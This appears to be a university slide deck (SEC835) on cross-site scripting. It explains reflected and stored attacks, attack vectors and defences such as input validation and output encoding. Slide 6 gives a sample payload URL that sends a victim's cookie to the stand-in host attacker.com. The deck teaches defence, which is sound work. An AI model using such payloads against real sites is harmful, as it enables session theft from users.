SEC835

1. SEC835 Prevent Cross-Site Scripting (XSS) attack

2. Cross-Site Scripting • Instead of attacking the application’s server platform, Cross-Site Scripting (XSS) attacks are aimed at the users’ client browsers. • A Cross Site Scripting vulnerability allows the introduction of malicious content (scripts) on a web site, that is then served to users (clients) • Malicious scripts get executed on clients that trust the web site • Problem with potentially all client-side scripting languages • We use “XSS” to refer to these vulnerabilities, so as to avoid confusion with “CSS” (cascading style sheets)

3. Cross-Site Scripting (XSS) Attacks • A classical XSS attack works this way: • The attacker identifies a web site that has one or more XSS bugs (for example echoing data input, or lacking data input validation) • The attacker crafts a special URL that includes a malformed and malicious querystring containing HTML and script • The attacker finds a victim and gets him to click the link • The victim clicks the link and the victim’s browser makes a GET request to the vulnerable server, passing the malicious querystring. And cookies. • The vulnerable server echoes malicious input, including the script, back to the victim’s browser • The victim’s browser executes the malicious script, which may be crafted to pass data from the victim to the attacker, or other actions

4. Cross-Site Scripting Effects • This might reveal session identifiers and other sensitive data stored in form values. • Cookies may be changed • The attacker can replay cookies to reach the domain content previously available to the victim only • Remote-control of the browser by an attacker is also possible through advanced scripts • Legitimate sites spoofed

5. Cross-Site Scripting Attack in Action • The attacker sends a victim a link containing a malicious payload. • The victim, tricked into clicking the link, sends a request (and the payload) to the vulnerable application interface. • The interface (i.e. a user registration form) accepts the request (and payload), and responds with a confirmation screen. Embedded in the confirmation screen is the malicious code, which has been formatted in such a way that a browser will interpret it as if it were any other JavaScript code. • When the victim receives the response, the browser executes the payload, which could send cookie values (including session identifiers) and other sensitive data to the attacker.

6. Cross-Site Scripting Attack sample • A sample attack link (to view cookie values) might look like this: • https://vulnserver.com/vulninterface.cgi?FirstName=Bob&EmailAddress=x”><script>document.location%3d‘http://attacker.com/c=‘+document.cookie;</script><“ • When the server sends back its response, the HTML code will be formatted as follows: • … • <form action=“…”> • Thank you for registering! • <input name=“FirstName” value=“Bob”> • <input name=“EmailAddress” value=“x”><script>document.location=‘http://attacker.com/c=‘+document.cookie;</script><“”> • </form> • … • The result is that the <script> block is executed and an entry will be made in the attacker’s web server log which includes the content of a victim’s cookie.

7. Common XSS Attack Vectors • Search engines that echo the search keyword that was entered • Error messages that echo the string that contained the error • Forms that are filled out where values are later presented to the user • Web message boards that allow users to post their own messages

8. Is there a need of ‘click”? • No, there is not • Script execution may be initiated by many other means, for example by a mouseover event, or onload, or other

9. XSS Vulnerability – Type 2 • XSS Type 2 has been implemented via • Stored data • Local html files stored on a user’s computer • HTML help files • HTML resources

10. XSS Vulnerability – Type 2 • XSS Type 2 has been implemented via stored data • The attacker enters comments or text that contains an embedded script, in a forum, newsgroup, feedback section of a web site, etc... • The malicious code is stored by the vulnerable site, and presented to visitors. Each instance can be thought of as a "mine". • The victim reads the comments. The attacker’s code is executed on the victim’s computer.

11. JavaScript urls • JavaScript urls have the format "javascript:code" • An example JavaScript url is javascript:alert("Hello World") • Type it in your browser's address bar, watch the alert window popup • Works also in HTML links • "javascript:alert(document.cookie)" • JavaScript urls could be injected into the history list and then executed in the local machine zone or some other zone

12. Indirect Ways to Inject Code • ActionScript (Flash) can load a JavaScript script from a url • Flash objects can be specified with the <embed> tag • ActionScript allows the getURL("url") function call • The url can be a JavaScript url! • Forums that allow Flash content are vulnerable • People viewing the Flash content get a trojan JavaScript • See http://www.cgisecurity.com/lib/flash-xss.htm

13. XSS attacks against local HTML files • Local html files stored on the computer may have a predictable location, e.g. My web • Can provide output of user’s input as well • Thus can be used by an attacker to craft XSS • HTML Help files are potentially vulnerable to XSS

14. XSS Attacks against HTML Resources • Browsers provide the ability to extract and display resources, such as text messages, images, html files, from DLL, or EXE files • If the resource takes input from the URL and displays that, you might have an XSS issue • This means you should validate resource HTML data. Untrusted HTML input must run through an HTML policy engine to ensure that it does not contain XSS

15. Prevent Cross-Site Scripting • The strategy for preventing XSS: • Filtering user-supplied input for meta-characters that may be interpreted by the client application • Encoding output by converting meta-characters into neutral aliases (i.e. HTML code) • Prevent social engineering • Educate users • Explain what ways of communication are valid • Include messages to the website to advise about known frauds

16. Remedies • Strong data input validation • Be hard-core about what constitutes valid input • As specific as possible • Provided closer to the data usage • Based on the white-list approach • Validated on the server side

17. White- vs. Black-List

18. Remedies • Implemented by web developers • Encoding output • Forcing the codepage • Adding double quotes around all tag properties • Inserting data in the innerText property • Browser hardening

19. Remedies details • Encoding output • Convert dangerous symbols, including html tags, to their html representation • E.g. < becomes &lt • For ASP use HTMLEncode method • Forcing the codepage • Set a codepage explicitly by specifying the allowable charset

20. Remedies details • Adding double quotes around the tag properties prevent interpretation of the part of the tag, where malicious scripts can be placed • innerText makes a similar effect • Browser hardening and security patching

21. Lab task • Work on the spreadsheet re Vulnerability • Cell O3 – put your comments • The venues leading to XSS • Work on the spreadsheet re Countermeasures • Cells A11 – put your comments • How to prevent XSS • http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet • http://en.wikipedia.org/wiki/Cross-site_scripting